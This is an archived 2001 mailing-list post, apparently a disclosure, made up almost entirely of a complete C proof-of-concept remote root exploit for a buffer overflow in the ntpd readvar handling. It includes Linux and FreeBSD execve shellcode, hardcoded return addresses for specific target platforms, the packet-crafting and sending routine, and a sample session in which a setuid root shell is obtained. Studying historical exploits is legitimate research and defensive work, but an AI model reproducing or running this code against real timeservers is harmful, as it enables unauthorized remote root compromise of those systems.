OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Przemyslaw Frasunek (venglinFREEBSD.LUBLIN.PL)
Date: Wed Apr 04 2001 - 15:27:01 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    /* ntpd remote root exploit / babcia padlina ltd. <venglinfreebsd.lublin.pl> */

    /*
     * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
     * to remote buffer overflow attack. It occurs when building response for
     * a query with large readvar argument. In almost all cases, ntpd is running
     * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
     *
     * Althought it's a normal buffer overflow, exploiting it is much harder.
     * Destination buffer is accidentally damaged, when attack is performed, so
     * shellcode can't be larger than approx. 70 bytes. This proof of concept code
     * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
     * is possible.
     *
     * NTP is stateless UDP based protocol, so all malicious queries can be
     * spoofed.
     *
     * Example of use on generic RedHat 7.0 box:
     *
     * [venglincipsko venglin]$ cat dupa.c
     * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
     * [venglincipsko venglin]$ cc -o /tmp/sh dupa.c
     * [venglincipsko venglin]$ cc -o ntpdx ntpdx.c
     * [venglincipsko venglin]$ ./ntpdx -t2 localhost
     * ntpdx v1.0 by venglinfreebsd.lublin.pl
     *
     * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
     *
     * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
     * [1] <- evil query (pkt = 512 | shell = 45)
     * [2] <- null query (pkt = 12)
     * Done.
     * /tmp/sh was spawned.
     * [venglincipsko venglin]$ ls -al /bin/bash
     * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdarg.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <arpa/inet.h>

    #define NOP 0x90
    #define ADDRS 8
    #define PKTSIZ 512

    static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";

    /* generic execve() shellcodes */

    char lin_execve[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

    char bsd_execve[] =
            "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
            "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
            "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
            "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

    struct platforms
    {
            char *os;
            char *version;
            char *code;
            long ret;
            int align;
            int shalign;
            int port;
    };

    /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
     * *after* RET address. This values will vary from platform to platform.
     */

    struct platforms targ[] =
    {
            { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
                    0xbfbff8bc, 200, 220, 0 },

            { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
                    0xbfbff540, 200, 220, 0 },

            { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
                    0xbffff777, 240, 160, 0 },

            { NULL, NULL, NULL, 0x0, 0, 0, 0 }
    };

    long getip(name)
    char *name;
    {
            struct hostent *hp;
            long ip;
            extern int h_errno;

            if ((ip = inet_addr(name)) < 0)
            {
                    if (!(hp = gethostbyname(name)))
                    {
                            fprintf(stderr, "gethostbyname(): %s\n",
                                    strerror(h_errno));
                            exit(1);
                    }
                    memcpy(&ip, (hp->h_addr), 4);
            }

            return ip;
    }

    int doquery(host, ret, shellcode, align, shalign)
    char *host, *shellcode;
    long ret;
    int align, shalign;
    {
            /* tcpdump-based reverse engineering :)) */

            char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
                          0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
                          0x74, 0x75, 0x6d, 0x3d };

            char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
                          0x00, 0x00, 0x00, 0x00 };

            char buf[PKTSIZ], *p;
            long *ap;
            int i;

            int sockfd;
            struct sockaddr_in sa;

            bzero(&sa, sizeof(sa));

            sa.sin_family = AF_INET;
            sa.sin_port = htons(123);
            sa.sin_addr.s_addr = getip(host);

            if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            {
                    perror("socket");
                    return -1;
            }

            if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
            {
                    perror("connect");
                    close(sockfd);
                    return -1;
            }

            memset(buf, NOP, PKTSIZ);
            memcpy(buf, q2, sizeof(q2));

            p = buf + align;
            ap = (unsigned long *)p;

            for(i=0;i<ADDRS/4;i++)
                    *ap++ = ret;

            p = (char *)ap;

            memcpy(buf+shalign, shellcode, strlen(shellcode));

            if((write(sockfd, buf, PKTSIZ)) < 0)
            {
                    perror("write");
                    close(sockfd);
                    return -1;
            }

            fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
                    strlen(shellcode));
            fflush(stderr);

            if ((write(sockfd, q3, sizeof(q3))) < 0)
            {
                    perror("write");
                    close(sockfd);
                    return -1;
            }

            fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
            fflush(stderr);

            close(sockfd);

            return 0;
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
            extern int optind, opterr;
            extern char *optarg;
            int ch, type, ofs, i;
            long ret;

            opterr = ofs = 0;
            type = -1;

            while ((ch = getopt(argc, argv, "t:o:")) != -1)
                    switch((char)ch)
                    {
                            case 't':
                                    type = atoi(optarg);
                                    break;

                            case 'o':
                                    ofs = atoi(optarg);
                                    break;

                            case '?':
                            default:
                                    puts(usage);
                                    exit(0);

                    }

            argc -= optind;
            argv += optind;

            fprintf(stderr, "ntpdx v1.0 by venglinfreebsd.lublin.pl\n\n");

            if (type < 0)
            {
                    fprintf(stderr, "Please select platform:\n");
                    for (i=0;targ[i].os;i++)
                    {
                            fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
                            targ[i].os, targ[i].version, (void *)targ[i].ret);
                    }

                    exit(0);
            }

            fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
                            targ[type].os, targ[type].version);

            ret = targ[type].ret;
            ret += ofs;

            if (argc != 1)
            {
                    puts(usage);
                    exit(0);
            }

            fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
                    (void *)ret, targ[type].align, targ[type].shalign);

            if (doquery(*argv, ret, targ[type].code, targ[type].align,
                    targ[type].shalign) < 0)
            {
                    fprintf(stderr, "Failed.\n");
                    exit(1);
            }

            fprintf(stderr, "Done.\n");

            if (!targ[type].port)
            {
                    fprintf(stderr, "/tmp/sh was spawned.\n");
                    exit(0);
            }

            exit(0);
    }

    --
    * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
    * Inet: przemyslawfrasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *